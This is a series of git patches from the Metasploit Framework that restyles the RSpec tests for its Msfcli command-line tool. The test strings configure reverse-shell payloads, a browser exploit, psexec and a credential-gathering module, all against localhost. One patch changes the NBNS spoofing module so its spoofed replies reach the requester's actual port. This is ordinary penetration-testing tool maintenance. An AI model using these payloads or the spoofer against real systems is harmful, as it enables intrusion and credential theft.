'Metasploit::Framework::Spec::Constants cleaner' - - it "it should dump a list of modules" do - tbl = '' - stdout = get_stdout { - cli = Msfcli.new([]) - tbl = cli.dump_module_list - } - tbl.should =~ /Exploits/ and stdout.should =~ /Please wait/ - end + it "should give me the correct module parameters after object initialization" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:params].should eq(['payload=windows/meterpreter/reverse_tcp', 'lhost=127.0.0.1']) end - context ".guess_payload_name" do - cli = Msfcli.new([]) - - it "should contain matches nedded for windows/meterpreter/reverse_tcp" do - m = cli.guess_payload_name('windows/meterpreter/reverse_tcp') - m.should eq([/stages\/windows\/meterpreter/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/]) - end - - it "should contain matches needed for windows/shell/reverse_tcp" do - m = cli.guess_payload_name('windows/shell/reverse_tcp') - m.should eq([/stages\/windows\/shell/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/]) - end - - it "should contain matches needed for windows/shell_reverse_tcp" do - m = cli.guess_payload_name('windows/shell_reverse_tcp') - m.should eq([/stages\/windows\/shell/, /payloads\/(singles|stagers|stages)\/windows\/.*(shell_reverse_tcp)\.rb$/]) - end - - it "should contain matches needed for php/meterpreter_reverse_tcp" do - m = cli.guess_payload_name('php/meterpreter_reverse_tcp') - m.should eq([/stages\/php\/meterpreter/, /payloads\/(stagers|stages)\/php\/.*(meterpreter_reverse_tcp)\.rb$/]) - end - - it "should contain matches needed for linux/x86/meterpreter/reverse_tcp" do - m = cli.guess_payload_name('linux/x86/meterpreter/reverse_tcp') - m.should eq([/stages\/linux\/x86\/meterpreter/, /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/]) - end - - it "should contain matches needed for java/meterpreter/reverse_tcp" do - m = cli.guess_payload_name('java/meterpreter/reverse_tcp') - m.should eq([/stages\/java\/meterpreter/, /payloads\/(stagers|stages)\/java\/.*(reverse_tcp)\.rb$/]) - end - - it "should contain matches needed for cmd/unix/reverse" do - m = cli.guess_payload_name('cmd/unix/reverse') - m.should eq([/stages\/cmd\/shell/, /payloads\/(singles|stagers|stages)\/cmd\/.*(reverse)\.rb$/]) - end - - it "should contain matches needed for bsd/x86/shell_reverse_tcp" do - m = cli.guess_payload_name('bsd/x86/shell_reverse_tcp') - m.should eq([/stages\/bsd\/x86\/shell/, /payloads\/(singles|stagers|stages)\/bsd\/x86\/.*(shell_reverse_tcp)\.rb$/]) - end + it "should give me an exploit name without the prefix 'exploit'" do + args = "exploit/windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:module_name].should eq("windows/browser/ie_cbutton_uaf") end - context ".guess_encoder_name" do - cli = Msfcli.new([]) - it "should contain a match for x86/shikata_ga_nai" do - encoder = 'x86/shikata_ga_nai' - m = cli.guess_encoder_name(encoder) - m.should eq([/encoders\/#{encoder}/]) - end + it "should give me an exploit name without the prefix 'exploits'" do + args = "exploits/windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:module_name].should eq("windows/browser/ie_cbutton_uaf") end - context ".guess_nop_name" do - cli = Msfcli.new([]) - it "should contain a match for guess_nop_name" do - nop = 'x86/single_byte' - m = cli.guess_nop_name(nop) - m.should eq([/nops\/#{nop}/]) - end + it "should set mode 's' (summary)" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp s" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:mode].should eq('s') end - context ".generate_whitelist" do - it "should generate a whitelist for linux/x86/shell/reverse_tcp with encoder x86/fnstenv_mov" do - args = "multi/handler payload=linux/x86/shell/reverse_tcp lhost=127.0.0.1 encoder=x86/fnstenv_mov E" - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ + it "should set mode 'h' (help) as default" do + args = "multi/handler" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:mode].should eq('h') + end + end + + context ".usage" do + it "should see a help menu" do + out = get_stdout { + cli = Msfcli.new([]) + cli.usage + } + out.should =~ /Usage/ + end + end + + # + # This one is slow because we're loading all modules + # + context ".dump_module_list" do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + + it "it should dump a list of modules" do + tbl = '' + stdout = get_stdout { + cli = Msfcli.new([]) + tbl = cli.dump_module_list + } + tbl.should =~ /Exploits/ and stdout.should =~ /Please wait/ + end + end + + context ".guess_payload_name" do + cli = Msfcli.new([]) + + it "should contain matches nedded for windows/meterpreter/reverse_tcp" do + m = cli.guess_payload_name('windows/meterpreter/reverse_tcp') + m.should eq([/stages\/windows\/meterpreter/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/]) + end + + it "should contain matches needed for windows/shell/reverse_tcp" do + m = cli.guess_payload_name('windows/shell/reverse_tcp') + m.should eq([/stages\/windows\/shell/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/]) + end + + it "should contain matches needed for windows/shell_reverse_tcp" do + m = cli.guess_payload_name('windows/shell_reverse_tcp') + m.should eq([/stages\/windows\/shell/, /payloads\/(singles|stagers|stages)\/windows\/.*(shell_reverse_tcp)\.rb$/]) + end + + it "should contain matches needed for php/meterpreter_reverse_tcp" do + m = cli.guess_payload_name('php/meterpreter_reverse_tcp') + m.should eq([/stages\/php\/meterpreter/, /payloads\/(stagers|stages)\/php\/.*(meterpreter_reverse_tcp)\.rb$/]) + end + + it "should contain matches needed for linux/x86/meterpreter/reverse_tcp" do + m = cli.guess_payload_name('linux/x86/meterpreter/reverse_tcp') + m.should eq([/stages\/linux\/x86\/meterpreter/, /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/]) + end + + it "should contain matches needed for java/meterpreter/reverse_tcp" do + m = cli.guess_payload_name('java/meterpreter/reverse_tcp') + m.should eq([/stages\/java\/meterpreter/, /payloads\/(stagers|stages)\/java\/.*(reverse_tcp)\.rb$/]) + end + + it "should contain matches needed for cmd/unix/reverse" do + m = cli.guess_payload_name('cmd/unix/reverse') + m.should eq([/stages\/cmd\/shell/, /payloads\/(singles|stagers|stages)\/cmd\/.*(reverse)\.rb$/]) + end + + it "should contain matches needed for bsd/x86/shell_reverse_tcp" do + m = cli.guess_payload_name('bsd/x86/shell_reverse_tcp') + m.should eq([/stages\/bsd\/x86\/shell/, /payloads\/(singles|stagers|stages)\/bsd\/x86\/.*(shell_reverse_tcp)\.rb$/]) + end + end + + context ".guess_encoder_name" do + cli = Msfcli.new([]) + it "should contain a match for x86/shikata_ga_nai" do + encoder = 'x86/shikata_ga_nai' + m = cli.guess_encoder_name(encoder) + m.should eq([/encoders\/#{encoder}/]) + end + end + + context ".guess_nop_name" do + cli = Msfcli.new([]) + it "should contain a match for guess_nop_name" do + nop = 'x86/single_byte' + m = cli.guess_nop_name(nop) + m.should eq([/nops\/#{nop}/]) + end + end + + context ".generate_whitelist" do + it "should generate a whitelist for linux/x86/shell/reverse_tcp with encoder x86/fnstenv_mov" do + args = "multi/handler payload=linux/x86/shell/reverse_tcp lhost=127.0.0.1 encoder=x86/fnstenv_mov E" + cli = Msfcli.new(args.split(' ')) + list = cli.generate_whitelist.map { |e| e.to_s } + answer = [ /multi\/handler/, /stages\/linux\/x86\/shell/, /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/, @@ -168,16 +167,16 @@ describe Msfcli do /post\/.+/, /encoders\/generic\/*/, /nops\/.+/ - ].map { |e| e.to_s } + ].map { |e| e.to_s } - list.should eq(answer) - end + list.should eq(answer) + end - it "should generate a whitelist for windows/meterpreter/reverse_tcp with default options" do - args = 'multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E' - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ + it "should generate a whitelist for windows/meterpreter/reverse_tcp with default options" do + args = 'multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E' + cli = Msfcli.new(args.split(' ')) + list = cli.generate_whitelist.map { |e| e.to_s } + answer = [ /multi\/handler/, /stages\/windows\/meterpreter/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, @@ -185,16 +184,16 @@ describe Msfcli do /encoders\/generic\/*/, /encoders\/.+/, /nops\/.+/ - ].map { |e| e.to_s } + ].map { |e| e.to_s } - list.should eq(answer) - end + list.should eq(answer) + end - it "should generate a whitelist for windows/meterpreter/reverse_tcp with options: encoder='' post='' nop=''" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 encoder='' post='' nop='' E" - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ + it "should generate a whitelist for windows/meterpreter/reverse_tcp with options: encoder='' post='' nop=''" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 encoder='' post='' nop='' E" + cli = Msfcli.new(args.split(' ')) + list = cli.generate_whitelist.map { |e| e.to_s } + answer = [ /multi\/handler/, /stages\/windows\/meterpreter/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, @@ -202,221 +201,220 @@ describe Msfcli do /post\/''/, /nops\/''/, /encoders\/generic\/*/ - ].map { |e| e.to_s } + ].map { |e| e.to_s } - list.should eq(answer) - end + list.should eq(answer) + end - it "should generate a whitelist for windows/meterpreter/reverse_tcp with options: encoder= post= nop=" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 encoder= post= nop= E" - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ + it "should generate a whitelist for windows/meterpreter/reverse_tcp with options: encoder= post= nop=" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 encoder= post= nop= E" + cli = Msfcli.new(args.split(' ')) + list = cli.generate_whitelist.map { |e| e.to_s } + answer = [ /multi\/handler/, /stages\/windows\/meterpreter/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, /encoders\/generic\/*/ - ].map { |e| e.to_s } + ].map { |e| e.to_s } - list.should eq(answer) - end + list.should eq(answer) + end + end + + context ".init_modules" do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + + it "should inititalize an exploit module" do + args = 'exploit/windows/smb/psexec S' + m = '' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + } + m[:module].class.to_s.should start_with("Msf::Modules::Mod") end - context ".init_modules" do - include_context 'Metasploit::Framework::Spec::Constants cleaner' - - it "should inititalize an exploit module" do - args = 'exploit/windows/smb/psexec S' - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } - m[:module].class.to_s.should start_with("Msf::Modules::Mod") - end - - it "should inititalize an auxiliary module" do - args = 'auxiliary/server/browser_autopwn S' - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } - m[:module].class.to_s.should start_with("Msf::Modules::Mod") - end - - it "should inititalize a post module" do - args = 'post/windows/gather/credentials/gpp S' - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } - m[:module].class.to_s.should start_with("Msf::Modules::Mod") - end - - it "should have multi/handler module initialized" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } - - m[:module].class.to_s.should =~ /^Msf::Modules::/ - end - - it "should have my payload windows/meterpreter/reverse_tcp initialized" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } - - m[:payload].class.to_s.should =~ / Date: Wed, 29 Oct 2014 15:21:31 -0700 Subject: [PATCH 14/99] Use correct source port for NBNS spoofer 137 is only correct for systems that use this as their source port. Systems running Samba, for example, don't use this. So use the port taken from the original request, not 137 or 1337 --- modules/auxiliary/spoof/nbns/nbns_response.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/spoof/nbns/nbns_response.rb b/modules/auxiliary/spoof/nbns/nbns_response.rb index 2b1cd69b59..0916ac71dd 100644 --- a/modules/auxiliary/spoof/nbns/nbns_response.rb +++ b/modules/auxiliary/spoof/nbns/nbns_response.rb @@ -67,6 +67,7 @@ class Metasploit3 < Msf::Auxiliary while @run # Not exactly thrilled we can never turn this off XXX fix this sometime. packet, addr = @sock.recvfrom(512) + src_port = addr[1] rhost = addr[3] break if packet.length == 0 @@ -127,7 +128,7 @@ class Metasploit3 < Msf::Auxiliary p.ip_daddr = rhost p.ip_ttl = 255 p.udp_sport = 137 - p.udp_dport = 137 + p.udp_dport = src_port p.payload = response p.recalc From c6f115d070994351fcc3f8791406f45b6495f53d Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Tue, 11 Nov 2014 13:11:05 -0600 Subject: [PATCH 15/99] Update Msfcli#initialize spec style MSP-11147 --- spec/msfcli_spec.rb | 122 ++++++++++++++++++++++++++++++++------------ 1 file changed, 88 insertions(+), 34 deletions(-) diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index c0b01956d3..c42cde55a9 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -8,6 +8,13 @@ require 'msf/base' describe Msfcli do + subject(:msfcli) { + described_class.new(args) + } + + let(:args) { + [] + } # Get stdout: # http://stackoverflow.com/questions/11349270/test-output-to-command-line-with-rspec @@ -23,46 +30,93 @@ describe Msfcli do end context ".initialize" do - it "should give me the correct module name in key :module_name after object initialization" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:module_name].should eq('multi/handler') - end + context 'with module name' do + let(:args) { + [ + module_name, + *params + ] + } - it "should give me the correct mode in key :mode after object initialization" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:mode].should eq('E') - end + let(:module_name) { + 'multi/handler' + } - it "should give me the correct module parameters after object initialization" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:params].should eq(['payload=windows/meterpreter/reverse_tcp', 'lhost=127.0.0.1']) - end + let(:params) { + %w{payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1} + } - it "should give me an exploit name without the prefix 'exploit'" do - args = "exploit/windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:module_name].should eq("windows/browser/ie_cbutton_uaf") - end + let(:parsed_args) { + msfcli.instance_variable_get(:@args) + } - it "should give me an exploit name without the prefix 'exploits'" do - args = "exploits/windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:module_name].should eq("windows/browser/ie_cbutton_uaf") - end + context 'multi/handler' do + context 'with mode' do + let(:args) { + super() + [mode] + } - it "should set mode 's' (summary)" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp s" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:mode].should eq('s') - end + context 'E' do + let(:mode) { + 'E' + } - it "should set mode 'h' (help) as default" do - args = "multi/handler" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:mode].should eq('h') + it 'parses module name into :module_name arg' do + expect(parsed_args[:module_name]).to eq(module_name) + end + + it 'parses mode into :mode arg' do + expect(parsed_args[:mode]).to eq(mode) + end + + it 'parses module parameters between module name and mode' do + expect(parsed_args[:params]).to eq(params) + end + end + + context 's' do + let(:mode) { + 's' + } + + it "parses mode as 's' (summary)" do + expect(parsed_args[:mode]).to eq(mode) + end + end + end + + context 'without mode' do + let(:args) { + [ + module_name + ] + } + + it "parses mode as 'h' (help) by default" do + expect(parsed_args[:mode]).to eq('h') + end + end + end + + context 'exploit/windows/browser/ie_cbutton_uaf' do + let(:module_name) { + 'exploit/windows/browser/ie_cbutton_uaf' + } + + it "strips 'exploit/' prefix for :module_name" do + expect(parsed_args[:module_name]).to eq('windows/browser/ie_cbutton_uaf') + end + end + + context 'exploit/windows/browser/ie_cbutton_uaf' do + let(:module_name) { + 'exploits/windows/browser/ie_cbutton_uaf' + } + + it "strips 'exploits/' prefix for :module_name" do + expect(parsed_args[:module_name]).to eq('windows/browser/ie_cbutton_uaf') + end + end end end From a6fed7798e01b6ae030fc2e2ec0cd34bc1ca5941 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Tue, 11 Nov 2014 13:11:40 -0600 Subject: [PATCH 16/99] Update Msfcli#usage spec style MSP-11147 --- spec/msfcli_spec.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index c42cde55a9..5784397567 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -123,8 +123,7 @@ describe Msfcli do context ".usage" do it "should see a help menu" do out = get_stdout { - cli = Msfcli.new([]) - cli.usage + msfcli.usage } out.should =~ /Usage/ end From 5d6aec8bed27a4154b42d52fbe4fb068051e9291 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Tue, 11 Nov 2014 13:14:34 -0600 Subject: [PATCH 17/99] Fix context prefix MSP-11147 Instance methods should be prefixed with `#`, not `.`. --- spec/msfcli_spec.rb | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index 5784397567..1762921b7d 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -29,7 +29,7 @@ describe Msfcli do fake.string end - context ".initialize" do + context "#initialize" do context 'with module name' do let(:args) { [ @@ -120,7 +120,7 @@ describe Msfcli do end end - context ".usage" do + context "#usage" do it "should see a help menu" do out = get_stdout { msfcli.usage @@ -132,7 +132,7 @@ describe Msfcli do # # This one is slow because we're loading all modules # - context ".dump_module_list" do + context "#dump_module_list" do include_context 'Metasploit::Framework::Spec::Constants cleaner' it "it should dump a list of modules" do @@ -145,7 +145,7 @@ describe Msfcli do end end - context ".guess_payload_name" do + context "#guess_payload_name" do cli = Msfcli.new([]) it "should contain matches nedded for windows/meterpreter/reverse_tcp" do @@ -189,7 +189,7 @@ describe Msfcli do end end - context ".guess_encoder_name" do + context "#guess_encoder_name" do cli = Msfcli.new([]) it "should contain a match for x86/shikata_ga_nai" do encoder = 'x86/shikata_ga_nai' @@ -198,7 +198,7 @@ describe Msfcli do end end - context ".guess_nop_name" do + context "#guess_nop_name" do cli = Msfcli.new([]) it "should contain a match for guess_nop_name" do nop = 'x86/single_byte' @@ -207,7 +207,7 @@ describe Msfcli do end end - context ".generate_whitelist" do + context "#generate_whitelist" do it "should generate a whitelist for linux/x86/shell/reverse_tcp with encoder x86/fnstenv_mov" do args = "multi/handler payload=linux/x86/shell/reverse_tcp lhost=127.0.0.1 encoder=x86/fnstenv_mov E" cli = Msfcli.new(args.split(' ')) @@ -274,7 +274,7 @@ describe Msfcli do end end - context ".init_modules" do + context "#init_modules" do include_context 'Metasploit::Framework::Spec::Constants cleaner' it "should inititalize an exploit module" do @@ -352,7 +352,7 @@ describe Msfcli do end end - context ".engage_mode" do + context "#engage_mode" do include_context 'Metasploit::Framework::Spec::Constants cleaner' it "should show me the summary of module auxiliary/scanner/http/http_version" do From 56b53b0dcd4d2d399706c58664663c03e8100e05 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Tue, 11 Nov 2014 13:16:45 -0600 Subject: [PATCH 18/99] Remove redundant 'it' in text name MSP-11147 --- spec/msfcli_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index 1762921b7d..5423962084 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -135,7 +135,7 @@ describe Msfcli do context "#dump_module_list" do include_context 'Metasploit::Framework::Spec::Constants cleaner' - it "it should dump a list of modules" do + it "should dump a list of modules" do tbl = '' stdout = get_stdout { cli = Msfcli.new([]) From ebec5329dfbc3fbedf3e384a225d1d863e42f90a Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Tue, 11 Nov 2014 13:21:06 -0600 Subject: [PATCH 19/99] Update Msfclie#dump_module_list spec style MSP-11147 --- spec/msfcli_spec.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index 5423962084..341e917f50 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -135,13 +135,15 @@ describe Msfcli do context "#dump_module_list" do include_context 'Metasploit::Framework::Spec::Constants cleaner' - it "should dump a list of modules" do + it 'dumps a listof modules' do tbl = '' + stdout = get_stdout { - cli = Msfcli.new([]) - tbl = cli.dump_module_list + tbl = msfcli.dump_module_list } - tbl.should =~ /Exploits/ and stdout.should =~ /Please wait/ + + expect(tbl).to include 'Exploits' + expect(stdout).to include 'Please wait' end end From 1f1af70047bacd91e803ef694ed64a50dc104b43 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Tue, 11 Nov 2014 13:22:28 -0600 Subject: [PATCH 20/99] Update Msfcli#usage spec style MSP-11147 --- spec/msfcli_spec.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index 341e917f50..2a868b1ef7 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -121,11 +121,12 @@ describe Msfcli do end context "#usage" do - it "should see a help menu" do + it "prints Usage" do out = get_stdout { msfcli.usage } - out.should =~ /Usage/ + + expect(out).to include('Usage') end end From d36da497d0da59db76f7f91ac58497be80ce41e9 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Tue, 11 Nov 2014 13:47:16 -0600 Subject: [PATCH 21/99] Update Msfcli#guess_payload_name spec style MSP-11147 --- spec/msfcli_spec.rb | 120 ++++++++++++++++++++++++++++++++++---------- 1 file changed, 94 insertions(+), 26 deletions(-) diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index 2a868b1ef7..a7f63a9d52 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -149,46 +149,114 @@ describe Msfcli do end context "#guess_payload_name" do - cli = Msfcli.new([]) + subject(:guess_payload_name) { + msfcli.guess_payload_name(payload_reference_name) + } - it "should contain matches nedded for windows/meterpreter/reverse_tcp" do - m = cli.guess_payload_name('windows/meterpreter/reverse_tcp') - m.should eq([/stages\/windows\/meterpreter/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/]) + context 'with windows/meterpreter/reverse_tcp' do + let(:payload_reference_name) { + 'windows/meterpreter/reverse_tcp' + } + + it { + is_expected.to eq( + [ + /stages\/windows\/meterpreter/, + /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/ + ] + ) + } end - it "should contain matches needed for windows/shell/reverse_tcp" do - m = cli.guess_payload_name('windows/shell/reverse_tcp') - m.should eq([/stages\/windows\/shell/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/]) + context 'with windows/shell/reverse_tcp' do + let(:payload_reference_name) { + 'windows/shell/reverse_tcp' + } + + it { + is_expected.to eq( + [ + /stages\/windows\/shell/, + /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/ + ] + ) + } end - it "should contain matches needed for windows/shell_reverse_tcp" do - m = cli.guess_payload_name('windows/shell_reverse_tcp') - m.should eq([/stages\/windows\/shell/, /payloads\/(singles|stagers|stages)\/windows\/.*(shell_reverse_tcp)\.rb$/]) + context 'with php/meterpreter_reverse_tcp' do + let(:payload_reference_name) { + 'php/meterpreter_reverse_tcp' + } + + it { + is_expected.to eq( + [ + /stages\/php\/meterpreter/, + /payloads\/(stagers|stages)\/php\/.*(meterpreter_reverse_tcp)\.rb$/ + ] + ) + } end - it "should contain matches needed for php/meterpreter_reverse_tcp" do - m = cli.guess_payload_name('php/meterpreter_reverse_tcp') - m.should eq([/stages\/php\/meterpreter/, /payloads\/(stagers|stages)\/php\/.*(meterpreter_reverse_tcp)\.rb$/]) + context 'with linux/x86/meterpreter/reverse_tcp' do + let(:payload_reference_name) { + 'linux/x86/meterpreter/reverse_tcp' + } + + it { + is_expected.to eq( + [ + /stages\/linux\/x86\/meterpreter/, + /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/ + ] + ) + } end - it "should contain matches needed for linux/x86/meterpreter/reverse_tcp" do - m = cli.guess_payload_name('linux/x86/meterpreter/reverse_tcp') - m.should eq([/stages\/linux\/x86\/meterpreter/, /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/]) + context 'with java/meterpreter/reverse_tcp' do + let(:payload_reference_name) { + 'java/meterpreter/reverse_tcp' + } + + it { + is_expected.to eq( + [ + /stages\/java\/meterpreter/, + /payloads\/(stagers|stages)\/java\/.*(reverse_tcp)\.rb$/ + ] + ) + } end - it "should contain matches needed for java/meterpreter/reverse_tcp" do - m = cli.guess_payload_name('java/meterpreter/reverse_tcp') - m.should eq([/stages\/java\/meterpreter/, /payloads\/(stagers|stages)\/java\/.*(reverse_tcp)\.rb$/]) + context 'with cmd/unix/reverse' do + let(:payload_reference_name) { + 'cmd/unix/reverse' + } + + it { + is_expected.to eq( + [ + /stages\/cmd\/shell/, + /payloads\/(singles|stagers|stages)\/cmd\/.*(reverse)\.rb$/ + ] + ) + } end - it "should contain matches needed for cmd/unix/reverse" do - m = cli.guess_payload_name('cmd/unix/reverse') - m.should eq([/stages\/cmd\/shell/, /payloads\/(singles|stagers|stages)\/cmd\/.*(reverse)\.rb$/]) - end + context 'with bsd/x86/shell_reverse_tcp' do + let(:payload_reference_name) { + 'bsd/x86/shell_reverse_tcp' + } + + it { + is_expected.to eq( + [ + /stages\/bsd\/x86\/shell/, + /payloads\/(singles|stagers|stages)\/bsd\/x86\/.*(shell_reverse_tcp)\.rb$/ + ] + ) + } - it "should contain matches needed for bsd/x86/shell_reverse_tcp" do - m = cli.guess_payload_name('bsd/x86/shell_reverse_tcp') - m.should eq([/stages\/bsd\/x86\/shell/, /payloads\/(singles|stagers|stages)\/bsd\/x86\/.*(shell_reverse_tcp)\.rb$/]) end end From 577065f68d1cef387688b7e704e11c32515b2b84 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Tue, 11 Nov 2014 14:14:50 -0600 Subject: [PATCH 22/99] Update Msfcli#guess_encoder_name spec style MSP-11147 --- spec/msfcli_spec.rb | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index a7f63a9d52..bc2444b080 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -261,11 +261,20 @@ describe Msfcli do end context "#guess_encoder_name" do - cli = Msfcli.new([]) - it "should contain a match for x86/shikata_ga_nai" do - encoder = 'x86/shikata_ga_nai' - m = cli.guess_encoder_name(encoder) - m.should eq([/encoders\/#{encoder}/]) + subject(:guess_encoder_name) { + msfcli.guess_encoder_name(encoder_reference_name) + } + + context 'with x86/shikata_ga_nai' do + let(:encoder_reference_name) { + 'x86/shikata_ga_nai' + } + + it { + is_expected.to eq( + [/encoders\/#{encoder_reference_name}/] + ) + } end end From 965607c7dce956ab9bdedb677fcf391244ac1680 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Tue, 11 Nov 2014 14:16:55 -0600 Subject: [PATCH 23/99] Update Msfcli#guess_nop_name spec style MSP-11147 --- spec/msfcli_spec.rb | 22 ++++++++++++++++------ 1 file changed, 16 insertions(+), 6 deletions(-) diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index bc2444b080..491a71f8ab 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -277,13 +277,23 @@ describe Msfcli do } end end - + + context "#guess_nop_name" do - cli = Msfcli.new([]) - it "should contain a match for guess_nop_name" do - nop = 'x86/single_byte' - m = cli.guess_nop_name(nop) - m.should eq([/nops\/#{nop}/]) + subject(:guess_nop_name) { + msfcli.guess_nop_name(nop_reference_name) + } + + context 'with x86/shikata_ga_nai' do + let(:nop_reference_name) { + 'x86/single_byte' + } + + it { + is_expected.to eq( + [/nops\/#{nop_reference_name}/] + ) + } end end From bb07de3294c24fa976bbf3e55a7e289917e326d2 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Tue, 11 Nov 2014 14:49:48 -0600 Subject: [PATCH 24/99] Update Msfcli#generate_whitelist spec style MSP-11147 --- spec/msfcli_spec.rb | 223 +++++++++++++++++++++++++++++++++----------- 1 file changed, 167 insertions(+), 56 deletions(-) diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index 491a71f8ab..9dfd687d97 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -298,69 +298,180 @@ describe Msfcli do end context "#generate_whitelist" do - it "should generate a whitelist for 